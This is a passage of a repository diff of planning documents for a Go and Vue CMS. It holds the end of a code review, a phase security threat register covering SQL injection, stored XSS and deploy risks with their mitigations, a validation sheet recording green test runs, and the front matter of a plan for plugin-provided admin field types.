||||
|
||||
// in loadList, after the generation check:
|
||||
if (!result.data && (restored || result.response?.status === 422)) {
|
||||
restored = false
|
||||
writeListState(controllerId, {})
|
||||
void router.replace({ path: route.path, query: {} })
|
||||
return
|
||||
}
|
||||
restored = false
|
||||
```
|
||||
Alternatively, keep `DataTable` headers rendered on failure so the sort can be reset.
|
||||
|
||||
### WR-03: Stored list queries survive session expiry and are not scoped to an admin
|
||||
|
||||
**File:** `admin/src/state/useAuth.ts:91-101`, `admin/main.ts:25-31`, `admin/src/state/listState.ts:24-26`
|
||||
**Issue:** The key is `summer-admin.list:<controllerId>`, with no admin id. Only an explicit `logout()` calls `clearListStates()`. When the session ends any other way (token expiry or refresh failure goes through `onUnauthorized` → `clearUser()` in `main.ts:25-31`, or the user simply closes the tab), the stored searches stay. The next admin who signs in on that browser gets them restored into the URL and sent to the server. Search terms often hold personal data such as customer names or emails, and T-16.1-03 claims "logout clears them" as the mitigation.
|
||||
**Fix:** Call `clearListStates()` from `clearUser()` so every session end clears them, or prefix the key with the signed-in admin's id (`summer-admin.list:<adminId>:<controllerId>`) and drop keys for other ids on login.
|
||||
|
||||
### WR-04: The new relation SQL is only checked as DryRun strings and never runs against Postgres
|
||||
|
||||
**File:** `modules/cabana/query_relation_test.go:133-146` (all relation tests); `modules/cabana/query.go:310-450`
|
||||
**Issue:** Every new test opens `openDryRunDB` with `DryRun: true` and asserts on the SQL text. None of these constructs are ever executed: the correlated `EXISTS (SELECT 1 FROM ... JOIN ... ON ... WHERE ... AND LOWER(CAST(... AS TEXT)) LIKE ? ESCAPE '\')`, the `ORDER BY (SELECT string_agg(CAST(..) AS TEXT), ', ' ORDER BY CAST(..) AS TEXT)) FROM ... )` raw order column merged with the primary-key tiebreak, and the pivot alias correlation. The journal plugin has a testcontainers harness (`admin_harness_test.go`), but no test there runs a relation search or a to-many sort. A typo in operator precedence, alias scoping or the escape literal would pass CI and fail only in production.
|
||||
**Fix:** Add a testcontainers-gated test in cabana, or in the journal admin harness. It should seed posts with zero, one and two categories (plus a soft-deleted category), run `?search=` on a belongsToMany, a hasMany and a belongsTo column, and run `?sort=categories&dir=desc`. Assert the returned ids and that `meta.total` equals the number of distinct posts.
|
||||
|
||||
### WR-05: to-many sort key does not equal the displayed text, contradicting the code comment and docs
|
||||
|
||||
**File:** `modules/cabana/query.go:314-324`, `modules/cabana/query.go:734-757`, `docs/backend/lists-and-filters.md:62`
|
||||
**Issue:** The sort uses `string_agg(value, ', ' ORDER BY value)`, which sorts the values alphabetically. The displayed cell (`relatedSelectMany`) joins the preloaded records in whatever order `Preload` returns them, which has no ORDER BY (in practice pivot or primary-key order). A post with categories inserted as "Zebra", "Apple" shows "Zebra, Apple" but sorts as "Apple, Zebra", so the rows look out of order. The comment ("string_agg in the same order is the comma-joined value the list displays") and the docs sentence ("sorts by its comma-joined values, the text the list shows") are both wrong.
|
||||
**Fix:** Make the display match the sort by sorting `values` in `relatedSelectMany` with `slices.Sort(values)` before joining. Alternatively, preload with the same order (`q.Preload(field, func(db *gorm.DB) *gorm.DB { return db.Order(column) })`) and correct the docs. Either way, add a test with related values in non-alphabetical order.
|
||||
|
||||
## Info
|
||||
|
||||
### IN-01: NULL placement for relation sorts differs from Winter
|
||||
|
||||
**File:** `modules/cabana/query.go:318-332`
|
||||
**Issue:** A record with no related rows sorts on NULL. PostgreSQL puts NULLs last for ASC and first for DESC, while Winter on MySQL does the opposite. Admin users will see records without categories at the opposite end from the PHP admin.
|
||||
**Fix:** If parity matters, append `NULLS FIRST` for ASC and `NULLS LAST` for DESC to the raw order expression and to the to-one joined column.
|
||||
|
||||
### IN-02: Relation search and sort validity is checked per request, not at compile time
|
||||
|
||||
**File:** `modules/cabana/query.go:372-389,483-490`
|
||||
**Issue:** A `searchable: true` column on a polymorphic relation, or with a `select` the related model lacks, compiles at boot but makes every search answer 422 ("is not a searchable relation column"). Combined with WR-02, the list-state 422 handling then clears storage each time. This is a misconfiguration the admin cannot fix and that only shows up at runtime.
|
||||
**Fix:** Call `relationSubquery` for every searchable or sortable relation column during `CompileList`, or in the service constructor once the model is known, and fail boot, as the project already does for unknown column types.
|
||||
|
||||
### IN-03: Two sources of truth for the main table name
|
||||
|
||||
**File:** `modules/cabana/query.go:389` (`stmt.Schema.Table`) vs `modules/cabana/query.go:298,470,633-654` (`tableName(model)`)
|
||||
**Issue:** The relation subquery correlates on GORM's parsed table name, but plain search columns, filters and the primary-key tiebreak qualify with `tableName(model)`. For a model without `TableName()`, that returns `""`, and `quotedIdent(db, "")` produces `""."col"`, which is invalid SQL. This predates the phase, but the new code now mixes the two sources in one statement.
|
||||
**Fix:** Parse the model schema once in `ExecuteList` and pass `stmt.Schema.Table` to `applyListSearch`, `applyListFilters` and `applyListOrder`.
|
||||
|
||||
---
|
||||
|
||||
_Reviewed: 2026-10-09T21:20:45Z_
|
||||
_Reviewer: Claude (msd-code-reviewer)_
|
||||
_Depth: standard_
|
||||
@@ -0,0 +1,82 @@
|
||||
---
|
||||
phase: "16.1"
|
||||
slug: "journal-admin-urgent-fixes-relation-search-list-state-post-f"
|
||||
status: draft
|
||||
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
|
||||
threats_open: 0
|
||||
asvs_level: 1
|
||||
created: "2026-10-10"
|
||||
---
|
||||
|
||||
# Phase 16.1 — Security
|
||||
|
||||
> Per-phase security contract: threat register, accepted risks, and audit trail.
|
||||
|
||||
---
|
||||
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description | Data Crossing |
|
||||
|----------|-------------|---------------|
|
||||
| Admin SPA → cabana list API | Authenticated backend users send search, sort and filter params that become SQL | Query params (untrusted input), list rows |
|
||||
| Post authors / import / Journal API → journal `content_html` | Markdown and raw HTML from admins, the import command and API writers is rendered and stored | Post HTML (stored, served to anonymous readers) |
|
||||
| Journal API → public Nuxt layer → browser | Stored HTML is rendered with `v-html` on public pages | Post and category HTML |
|
||||
| Admin browser storage | Remembered list queries persist across sessions on a shared browser | List query params per admin |
|
||||
| Release workstation → origin / UAT server | Tags, pushes, binary upload and restarts | Source, binary, server state |
|
||||
|
||||
---
|
||||
|
||||
## Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|
||||
|-----------|----------|-----------|----------|-------------|------------|--------|
|
||||
| T-16.1-01 | Tampering (SQLi) | modules/cabana/query.go relation search/sort | high | mitigate | Identifiers only from GORM's parsed relationship, quoted via `quotedIdent`/`qualifiedColumn`; polymorphic/unknown columns answer 422; search term `escapeLike`d and bound; sort limited to schema-declared columns and asc/desc; route behind `protect()` | closed |
|
||||
| T-16.1-02 | Tampering / EoP (stored XSS) | sm-journal-plugin classes/format_html.go | medium | mitigate | Planned regex `rejectUnsafe` proved bypassable (CR-01, 16.1-REVIEW.md). Replaced by goldmark + bluemonday allow-list on every host `content_html` writer (admin, import, API) and `CheckHTML` for categories (sm-journal-plugin a3551f2; decision note `.planning/notes/journal-html-sanitizing-bluemonday.md`); 35-payload token-checked tests; public layer replaced its regex gate with sanitize-html (vue-journal-layer 5beb1c5). Deployed to UAT: host cbb4e7d, binary e1ba3587…148ceb (server sha256 checked by the orchestrator 2026-10-09) | closed |
|
||||
| T-16.1-03 | Information Disclosure | admin/src/state/listState.ts | low | mitigate | Only list query params stored; browser storage limited to listState.ts/useSidebar.ts (enforced by scripts/check-phase10.sh). WR-03 cross-admin leak fixed in cd25af0: keys scoped `summer-admin.list:<adminId>:<controller>`, all keys cleared on logout, session expiry (`expireSession` via `onUnauthorized`) and sign-in as another admin; legacy keys swept | closed |
|
||||
| T-16.1-04 | Tampering | admin list state restore | low | mitigate | `readListState` validates shape and re-parses via `parseListQuery`; server re-validates page, per_page, sort and filters (422); a failed restored query is forgotten and the plain list reloads once (WR-02, cd25af0) | closed |
|
||||
| T-16.1-05 | DoS | cabana relation search | low | accept | See AR-01 | closed |
|
||||
| T-16.1-06 | Tampering (false-green release) | 16.1-02 release gate | medium | mitigate | Release sheet records `release-gate-ok`, counted smoke tests, vitest, dist and OpenAPI gates and the human decision verbatim (16.1-02-SUMMARY) | closed |
|
||||
| T-16.1-07 | Tampering / Repudiation | summercms v0.1.16 tag and pushes | high | mitigate | Annotated tag on d77393b containing 06d75cb, bd8626e, 9cac45c; origin tag object d8e3536 matches local; journal and host heads on origin | closed |
|
||||
| T-16.1-08 | Information Disclosure | UAT deploy | high | mitigate | DEPLOY.md rsync list excludes env files; no credentials in any SUMMARY; executors never requested or held credentials | closed |
|
||||
| T-16.1-09 | Tampering | UAT database | medium | mitigate | Read-only psql/log checks only; post data changed only by two human admin saves; `.prev` binary kept for rollback | closed |
|
||||
| T-16.1-10 | EoP | deploy sudo scope | low | accept | See AR-02 | closed |
|
||||
| T-16.1-11 | Repudiation (false green) | 16.1-VALIDATION.md | medium | mitigate | Row 16.1-03-03 updated 2026-10-10 to the post-CR-01 test names; re-run gives four top-level PASS lines | closed |
|
||||
| T-16.1-12 | Tampering / DoS | cabana DryRun tests | low | mitigate | DryRun DBs use `DryRun: true`, `DisableAutomaticPing`, `port=1` DSN; Postgres tests use testcontainers | closed |
|
||||
| T-16.1-SC | Tampering (supply chain) | go.mod / package.json | high | mitigate | summercms.go adds no dependency; sm-journal-plugin adds bluemonday v1.0.27 (+ aymerick/douceur v0.2.0, gorilla/css v1.0.1), named in the decision note, hash-pinned, `go mod verify` clean; vue-journal-layer adds sanitize-html 2.18.0 with decision note docs/decisions/0001-sanitize-html.md | closed |
|
||||
| T-16.1-13 (audit W-1) | Tampering (stored XSS, latent) | sm-journal-plugin translated `content_html` (API syncTranslations, import) | medium | mitigate | `classes.FormatTranslation` on every API and import locale write: derived from `content` or sanitized with the same policy; default-locale bypass covered (sm-journal-plugin 0d00ec8; harness tests TestJournalAPITranslatedContentHTML, TestJournalImportTranslatedContentHTML) | closed |
|
||||
| T-16.1-14 (audit W-2) | Tampering | sm-journal-plugin FormatHTML byte-preserving shortcut (duplicate attributes) | low | mitigate | Raw attribute names compared with tokenizer output; duplicates store the sanitized output and CheckHTML refuses (sm-journal-plugin 5f47083; TestFormatHTMLDuplicateAttributes, TestRawAttrNames, TestCheckHTML cases) | closed |
|
||||
|
||||
*Status: open · closed · open — below high threshold (non-blocking)*
|
||||
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
|
||||
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
|
||||
|
||||
---
|
||||
|
||||
## Accepted Risks Log
|
||||
|
||||
| Risk ID | Threat Ref | Rationale | Accepted By | Date |
|
||||
|---------|------------|-----------|-------------|------|
|
||||
| AR-01 | T-16.1-05 | Relation search uses EXISTS subqueries; the route is admin-only and page size is limited to schema options. The COUNT query evaluates EXISTS over every matching row, not one page; acceptable at current data sizes (≈100 posts) | 16.1-01 plan (accept disposition) | 2026-10-10 |
|
||||
| AR-02 | T-16.1-10 | Deploy uses a narrow sudo scope (nginx -t/reload, supervisorctl) documented in DEPLOY.md | 16.1-02 plan (accept disposition) | 2026-10-10 |
|
||||
|
||||
---
|
||||
|
||||
## Security Audit Trail
|
||||
|
||||
| Audit Date | Threats Total | Closed | Open | Run By |
|
||||
|------------|---------------|--------|------|--------|
|
||||
| 2026-10-10 | 13 (register) + 2 audit warnings | 13 | 2 (below high, non-blocking) | msd-security-auditor (ASVS L1, boundary checks for T-16.1-01/02/WR-03) |
|
||||
| 2026-10-10 | 15 | 15 | 0 | orchestrator (T-16.1-13/14 fixed in 0d00ec8, 5f47083; tests re-run) |
|
||||
|
||||
Audit notes: the auditor flagged W-3 (public layer gate) and W-4 (no record of the a3551f2 UAT deploy). W-3 is resolved by vue-journal-layer 5beb1c5; W-4 is recorded in T-16.1-02 above. The admin preview (`modules/cabana/field_markdown.go`) stays in goldmark safe mode.
|
||||
|
||||
---
|
||||
|
||||
## Sign-Off
|
||||
|
||||
- [x] All threats have a disposition (mitigate / accept / transfer)
|
||||
- [x] Accepted risks documented in Accepted Risks Log
|
||||
- [x] `threats_open: 0` confirmed
|
||||
- [ ] `status: verified` set in frontmatter
|
||||
|
||||
**Approval:** pending (T-16.1-13/14 fixes and the combined release)
|
||||
@@ -4,8 +4,8 @@ slug: "journal-admin-urgent-fixes-relation-search-list-state-post-f"
|
||||
# status lifecycle: draft (seeded by plan-phase) → validated (set by validate-phase §6)
|
||||
# audit-milestone §5.5 distinguishes NOT-VALIDATED (draft) from PARTIAL (validated + nyquist_compliant: false) (#2117)
|
||||
status: draft
|
||||
nyquist_compliant: false
|
||||
wave_0_complete: false
|
||||
nyquist_compliant: true
|
||||
wave_0_complete: true
|
||||
created: "2026-10-09"
|
||||
---
|
||||
|
||||
@@ -45,16 +45,16 @@ Pre-existing red, not caused by this phase: `scripts/check-phase10.sh --hygiene`
|
||||
|
||||
| Task ID | Plan | Wave | Requirement | Threat Ref | Secure Behavior | Test Type | Automated Command | File Exists | Status |
|
||||
|---------|------|------|-------------|------------|-----------------|-----------|-------------------|-------------|--------|
|
||||
| 16.1-01-01 | 01 | 1 | D-02 | T-16.1-01 | Relation and column names come from the compiled schema and GORM's parsed relationship; the search value is bound | unit (DryRun, through `service.list`) | `go test -count=1 -run '^TestListRelationSearchSmoke$' -v ./modules/cabana` | ❌ W0 (created by the task) | ⬜ pending |
|
||||
| 16.1-01-02 | 01 | 1 | D-03 | — | N/A | unit | `go test -count=1 -run '^TestEnabledLocalesDefaultFirstSmoke$' -v ./modules/cabana` | ❌ W0 (created by the task) | ⬜ pending |
|
||||
| 16.1-01-03 | 01 | 1 | D-03 | T-16.1-02 | Raw HTML passes; script/iframe/object/embed, on* handlers and javascript/vbscript/data URLs are still refused on every write path | unit | `go -C ../sm-journal-plugin test -count=1 ./classes/` | ✅ extend `classes/format_html_test.go` | ⬜ pending |
|
||||
| 16.1-01-04 | 01 | 1 | D-01 | T-16.1-03, T-16.1-04 | Only list query params are stored, under `summer-admin.list:` keys; restored state passes the strict URL parser; logout clears it | unit (vitest) + dist drift | `npm --prefix admin test -- tests/list/ListView.test.ts tests/form/FormView.test.ts tests/smoke tests/state` ; `bash scripts/check-admin-dist.sh` | ✅ extend `admin/tests/list/ListView.test.ts` | ⬜ pending |
|
||||
| 16.1-02-01 | 02 | 2 | D-04 | T-16.1-06, T-16.1-07 | Release only after the local gate is green and a human approves the one-way tag push | gate + checkpoint | full local suite (plan 02 Task 1 verify) | ✅ | ⬜ pending |
|
||||
| 16.1-02-02 | 02 | 2 | D-04 | T-16.1-07, T-16.1-08 | Uploaded binary sha256 equals the local build; previous binary kept as `.prev`; no `.env` rsynced | e2e (server) | on-server `scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl` via loopback resolve | ✅ | ⬜ pending |
|
||||
| 16.1-02-03 | 02 | 2 | D-02, D-03 | T-16.1-09, T-16.1-10 | Read-only SQL and log checks; only posts 53 and 64 are re-saved, by a human | integration (server, read-only) | `ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc ..."` (raw-HTML marker count 0, post 64 footer present) | ✅ | ⬜ pending |
|
||||
| 16.1-03-01 | 03 | 3 | D-01 | T-16.1-11 | Storage helpers survive disabled storage; logout clears list keys only | unit (vitest) | `npm --prefix admin test -- tests/state/listState.test.ts tests/state/useAuth.test.ts tests/list/ListView.test.ts tests/form/FormView.test.ts` | ❌ W0 `admin/tests/state/listState.test.ts` (created by the task) | ⬜ pending |
|
||||
| 16.1-03-02 | 03 | 3 | D-02, D-03 | T-16.1-11, T-16.1-12 | Polymorphic relations and unknown columns refused (422); search value never inlined into SQL | unit (DryRun) + Postgres (Docker host) | `go test -count=1 -run '^(TestListRelationSQL\|TestEnabledLocalesDefaultFirst)$' -v ./modules/cabana` | ✅ extend files from plan 01 | ⬜ pending |
|
||||
| 16.1-03-03 | 03 | 3 | D-03 | T-16.1-02, T-16.1-11 | Every unsafe case returns an error now that the gate is the only defence | unit + journal harness (Docker host) | `go -C ../sm-journal-plugin test -count=1 -run '^(TestFormatHTMLKeepsRawHTML\|TestFormatHTMLRejectsUnsafeHTML)$' -v ./classes/` | ✅ extend | ⬜ pending |
|
||||
| 16.1-01-01 | 01 | 1 | D-02 | T-16.1-01 | Relation and column names come from the compiled schema and GORM's parsed relationship; the search value is bound | unit (DryRun, through `service.list`) | `go test -count=1 -run '^TestListRelationSearchSmoke$' -v ./modules/cabana` | ✅ created (plan 01) | ✅ green |
|
||||
| 16.1-01-02 | 01 | 1 | D-03 | — | N/A | unit | `go test -count=1 -run '^TestEnabledLocalesDefaultFirstSmoke$' -v ./modules/cabana` | ✅ created (plan 01) | ✅ green |
|
||||
| 16.1-01-03 | 01 | 1 | D-03 | T-16.1-02 | Raw HTML passes; script/iframe/object/embed, on* handlers and javascript/vbscript/data URLs are still refused on every write path | unit | `go -C ../sm-journal-plugin test -count=1 ./classes/` | ✅ extend `classes/format_html_test.go` | ✅ green |
|
||||
| 16.1-01-04 | 01 | 1 | D-01 | T-16.1-03, T-16.1-04 | Only list query params are stored, under `summer-admin.list:` keys; restored state passes the strict URL parser; logout clears it | unit (vitest) + dist drift | `npm --prefix admin test -- tests/list/ListView.test.ts tests/form/FormView.test.ts tests/smoke tests/state` ; `bash scripts/check-admin-dist.sh` | ✅ extend `admin/tests/list/ListView.test.ts` | ✅ green |
|
||||
| 16.1-02-01 | 02 | 2 | D-04 | T-16.1-06, T-16.1-07 | Release only after the local gate is green and a human approves the one-way tag push | gate + checkpoint | full local suite (plan 02 Task 1 verify) | ✅ | ✅ green (plan 02: release-gate-ok, human approved v0.1.16) |
|
||||
| 16.1-02-02 | 02 | 2 | D-04 | T-16.1-07, T-16.1-08 | Uploaded binary sha256 equals the local build; previous binary kept as `.prev`; no `.env` rsynced | e2e (server) | on-server `scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl` via loopback resolve | ✅ | ✅ green (plan 02: smoke: ok (98 urls), sha256 match) |
|
||||
| 16.1-02-03 | 02 | 2 | D-02, D-03 | T-16.1-09, T-16.1-10 | Read-only SQL and log checks; only posts 53 and 64 are re-saved, by a human | integration (server, read-only) | `ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc ..."` (raw-HTML marker count 0, post 64 footer present) | ✅ | ✅ green (plan 02: SQL check 0:1, no SQLSTATE 42703 since restart) |
|
||||
| 16.1-03-01 | 03 | 3 | D-01 | T-16.1-11 | Storage helpers survive disabled storage; logout clears list keys only | unit (vitest) | `npm --prefix admin test -- tests/state/listState.test.ts tests/state/useAuth.test.ts tests/list/ListView.test.ts tests/form/FormView.test.ts` | ✅ created (plan 03) | ✅ green |
|
||||
| 16.1-03-02 | 03 | 3 | D-02, D-03 | T-16.1-11, T-16.1-12 | Polymorphic relations and unknown columns refused (422); search value never inlined into SQL | unit (DryRun) + Postgres (Docker host) | `go test -count=1 -run '^(TestListRelationSQL\|TestEnabledLocalesDefaultFirst)$' -v ./modules/cabana` | ✅ extend files from plan 01 | ✅ green (pure); Postgres test on a Docker host: manual |
|
||||
| 16.1-03-03 | 03 | 3 | D-03 | T-16.1-02, T-16.1-11 | Every unsafe case is sanitized (bluemonday, post-review CR-01 fix), scheme-like text and raw HTML survive, CheckHTML refuses unsafe category HTML | unit + journal harness (Docker host) | `go -C ../sm-journal-plugin test -count=1 -run '^(TestFormatHTMLSanitizesUnsafeHTML\|TestFormatHTMLKeepsSchemeLikeText\|TestFormatHTMLKeepsRawHTML\|TestCheckHTML)$' -v ./classes/` (four top-level PASS lines) | ✅ extend | ✅ green (pure); harness re-save test on a Docker host: manual |
|
||||
|
||||
*Status: ⬜ pending · ✅ green · ❌ red · ⚠️ flaky*
|
||||
|
||||
@@ -62,10 +62,10 @@ Pre-existing red, not caused by this phase: `scripts/check-phase10.sh --hygiene`
|
||||
|
||||
## Wave 0 Requirements
|
||||
|
||||
- [ ] `modules/cabana/query_relation_test.go` — DryRun harness (postgres dialector, never dialed; recording logger), relation fixtures (many2many, has_many, belongs_to) and the tracer smoke test; created by plan 01 Task 1, extended by plan 03 Task 2.
|
||||
- [ ] `modules/cabana/locale_order_test.go` — created by plan 01 Task 2 (smoke), extended by plan 03 Task 2.
|
||||
- [ ] `admin/tests/state/listState.test.ts` — created by plan 03 Task 1.
|
||||
- [ ] No framework install: GORM, the postgres dialector, testcontainers-go and vitest are already in go.mod / package.json.
|
||||
- [x] `modules/cabana/query_relation_test.go` — DryRun harness (postgres dialector, never dialed; recording logger), relation fixtures (many2many, has_many, belongs_to) and the tracer smoke test; created by plan 01 Task 1, extended by plan 03 Task 2.
|
||||
- [x] `modules/cabana/locale_order_test.go` — created by plan 01 Task 2 (smoke), extended by plan 03 Task 2.
|
||||
- [x] `admin/tests/state/listState.test.ts` — created by plan 03 Task 1.
|
||||
- [x] No framework install: GORM, the postgres dialector, testcontainers-go and vitest are already in go.mod / package.json.
|
||||
|
||||
---
|
||||
|
||||
@@ -87,7 +87,14 @@ Pre-existing red, not caused by this phase: `scripts/check-phase10.sh --hygiene`
|
||||
- [x] Sampling continuity: no 3 consecutive tasks without automated verify
|
||||
- [x] Wave 0 covers all MISSING references
|
||||
- [x] No watch-mode flags (`vitest run` through `npm test`; `go test -count=1`)
|
||||
- [ ] Feedback latency < 60s (confirmed during execution)
|
||||
- [ ] `nyquist_compliant: true` set in frontmatter (after plan 03 records the green runs)
|
||||
- [x] Feedback latency < 60s (confirmed during execution: the quick suite ran in 20 s on 2026-10-09)
|
||||
- [x] `nyquist_compliant: true` set in frontmatter (after plan 03 records the green runs)
|
||||
|
||||
**Approval:** pending
|
||||
## Recorded runs (plan 03, 2026-10-09, machine without Docker)
|
||||
|
||||
- Quick Go commands: four top-level `--- PASS` lines for `TestListRelationSearchSmoke`, `TestListRelationSQL`, `TestEnabledLocalesDefaultFirst` and `TestEnabledLocalesDefaultFirstSmoke`; `go -C ../sm-journal-plugin test -count=1 ./classes/` ok, with four top-level `--- PASS` lines for `TestFormatHTMLSanitizesUnsafeHTML`, `TestFormatHTMLKeepsSchemeLikeText`, `TestFormatHTMLKeepsRawHTML` and `TestCheckHTML` (updated 2026-10-10 after the CR-01 fix replaced `TestFormatHTMLRejectsUnsafeHTML`).
|
||||
- Full local suite: `go vet ./...`, `go -C ../sm-journal-plugin vet ./...`, `TestDocsTree`, `npm --prefix admin run typecheck`, `npm --prefix admin test` (76 files, 1144 tests) and `scripts/check-admin-dist.sh` ("dist matches a fresh build") printed `phase-16.1-local-gate-ok`.
|
||||
- Docker-host suites: still pending (manual row above). `TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML` fail here with "failed to create Docker provider", as designed (fail, not skip).
|
||||
- Manual UAT rows: the plan 02 executor confirmed posts 53 and 64 by read-only SQL. The list-state, form-locale and search checks were reported by the human before the re-saves reached UAT, so they stay open for `/msd-verify-work`.
|
||||
|
||||
**Approval:** pending (Docker-host suites and the manual UAT rows)
|
||||
|
||||
@@ -0,0 +1,490 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 01
|
||||
type: execute
|
||||
wave: 1
|
||||
depends_on: []
|
||||
files_modified:
|
||||
- modules/pact/capabilities.go
|
||||
- modules/pact/README.md
|
||||
- modules/cabana/field_type.go
|
||||
- modules/cabana/field_type_upload.go
|
||||
- modules/cabana/field_type_smoke_test.go
|
||||
- modules/cabana/form_schema.go
|
||||
- modules/cabana/schema_types.go
|
||||
- modules/cabana/registry.go
|
||||
- modules/cabana/http.go
|
||||
- modules/cabana/crud.go
|
||||
- modules/cabana/field_ml.go
|
||||
- modules/cabana/tx_context.go
|
||||
- modules/cabana/list_schema.go
|
||||
- modules/cabana/settings.go
|
||||
- modules/cabana/relation_form.go
|
||||
- modules/cabana/extension.go
|
||||
- modules/cabana/admin_openapi.go
|
||||
- modules/cabana/security_coverage_test.go
|
||||
- modules/cabana/README.md
|
||||
- admin/openapi/admin.json
|
||||
- admin/src/api/schema.d.ts
|
||||
- admin/src/api/types.ts
|
||||
- admin/src/app/fieldTypes.ts
|
||||
- admin/src/app/pluginAssets.ts
|
||||
- admin/src/main.ts
|
||||
- admin/src/views/LoginView.vue
|
||||
- admin/src/views/FormView.vue
|
||||
- admin/src/views/ListView.vue
|
||||
- admin/src/components/form/registry.ts
|
||||
- admin/src/components/form/FieldRenderer.vue
|
||||
- admin/src/components/form/PreviewField.vue
|
||||
- admin/src/components/form/FormField.vue
|
||||
- admin/src/components/form/formState.ts
|
||||
- admin/src/components/form/mlLocale.ts
|
||||
- admin/src/components/form/formContext.ts
|
||||
- admin/src/components/form/fields/PluginField.vue
|
||||
- admin/src/components/form/fields/MLPluginField.vue
|
||||
- admin/src/components/relation/RelationChildModal.vue
|
||||
- admin/tests/form/PluginField.test.ts
|
||||
- modules/boardwalk/dist
|
||||
- docs/backend/field-types.md
|
||||
- docs/backend/forms.md
|
||||
autonomous: false
|
||||
requirements: [D-03, D-06, D-10, D-11, D-12, D-13, D-14, D-15, D-18]
|
||||
estimate:
|
||||
tokens: 130000
|
||||
raw_tokens: 130000
|
||||
tasks: 4
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-11: a plugin registers a value-bearing admin field type under a short alias (pact.HasFormFieldTypes); boot fails with a message naming both owners when two plugins claim one alias, and fails when an alias equals a cabana core type (text, markdown, mlmarkdown, widget, partial and the rest of formFieldTypes)."
|
||||
- "D-12.1: a plugin-typed field accepts the general field keys plus the type's own Options keys; any other key, and any CheckOptions error, fails boot naming the field and the type."
|
||||
- "D-12.2 and D-10: a save runs the type's Decode inside the save transaction after the record is loaded, for the host value and for every non-default locale value of a translatable type; a pact.FormFieldError is a 422 validation_failed on that field and nothing is written; any other plugin error is an opaque 500 without the plugin's text."
|
||||
- "D-12.3: Show and the save response serve each plugin field through the type's Load (per locale for a translatable type)."
|
||||
- "D-12.4: a list column typed with a plugin alias shows the type's ListValue string."
|
||||
- "D-03 (server half): on update, a submitted value equal to the value the form was served for that field and locale is not decoded and not written, neither to the host column nor as a translation."
|
||||
- "D-14 and D-06: a translatable plugin type exchanges a locale to string map and is stored through cabana's existing ML lift, translation writer and hydrate path; a plugin implements no locale storage."
|
||||
- "Companion writes: Form hooks read the values a save actually wrote, per field and locale, through cabana.FieldWritesFromContext."
|
||||
- "D-13: after login the admin SPA loads every registered field type's scripts once and its stylesheets globally (never disabled on navigation); a field with an element renders through PluginField (MLPluginField when translatable) in any controller's form, binds the element's value property and takes summer-change events as the new form value."
|
||||
- "D-18 (framework half): POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload is owned by cabana (backend guard, X-Requested-With, controller permissions, field context, FormExtendQuery record scope, http.body_limits.upload_bytes) and answers 201 {data:{url}} from the type's Upload; the SPA performs the upload for the element on summer-upload and answers with summer-upload-result."
|
||||
- "D-15: the form schema carries plugin fields generically (element, translatable, typeOptions); admin/openapi/admin.json and admin/src/api/schema.d.ts are regenerated, modules/boardwalk/dist is rebuilt, and the pact and cabana READMEs plus docs/backend/field-types.md describe the API with neutral names."
|
||||
artifacts:
|
||||
- path: "modules/pact/capabilities.go"
|
||||
provides: "FormFieldType, FormFieldValue, FormFieldUpload, FormFieldUploadResult, FormFieldError, HasFormFieldTypes"
|
||||
contains: "HasFormFieldTypes"
|
||||
- path: "modules/cabana/field_type.go"
|
||||
provides: "per-boot field type registry, compile checks, decode/skip/load/list runner"
|
||||
contains: "compileFieldTypes"
|
||||
- path: "modules/cabana/field_type_upload.go"
|
||||
provides: "the cabana-owned field upload route"
|
||||
contains: "fieldUpload"
|
||||
- path: "modules/cabana/tx_context.go"
|
||||
provides: "FieldWrite, FieldWritesFromContext, WithFieldWrites"
|
||||
contains: "FieldWritesFromContext"
|
||||
- path: "admin/src/components/form/fields/PluginField.vue"
|
||||
provides: "generic plugin element host"
|
||||
contains: "summer-change"
|
||||
- path: "admin/src/app/fieldTypes.ts"
|
||||
provides: "global field-type asset loader"
|
||||
contains: "loadFieldTypes"
|
||||
- path: "docs/backend/field-types.md"
|
||||
provides: "plugin field type guide and element contract"
|
||||
contains: "HasFormFieldTypes"
|
||||
key_links:
|
||||
- from: "modules/cabana/http.go Activate"
|
||||
to: "modules/cabana/registry.go compileRegistry"
|
||||
via: "the registry built by compileFieldTypes(plugins) passed as a parameter (no package-level registry)"
|
||||
pattern: "compileFieldTypes"
|
||||
- from: "modules/cabana/crud.go save"
|
||||
to: "pact.FormFieldType Decode and Load"
|
||||
via: "decodePluginFields between loadRecord and lagoon.Fill inside the save transaction"
|
||||
pattern: "decodePluginFields"
|
||||
- from: "admin/src/main.ts and admin/src/views/LoginView.vue"
|
||||
to: "GET {api}/field-types"
|
||||
via: "loadFieldTypes next to loadNavigation"
|
||||
pattern: "loadFieldTypes"
|
||||
- from: "admin/src/components/form/fields/PluginField.vue"
|
||||
to: "POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload"
|
||||
via: "summer-upload event handled by the SPA with the admin session"
|
||||
pattern: "summer-upload"
|
||||
prohibitions:
|
||||
- statement: "No package-level mutable field type registry in cabana: the registry is built per Activate and passed down."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The element never receives a token, a cookie, a function or a Vue instance; uploads go through the SPA and the cabana route only."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "Existing core field types, the type: widget contract and the public behaviour of CompileForm do not change."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "Framework READMEs and docs never name a consuming application or plugin; examples use blog or acme."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
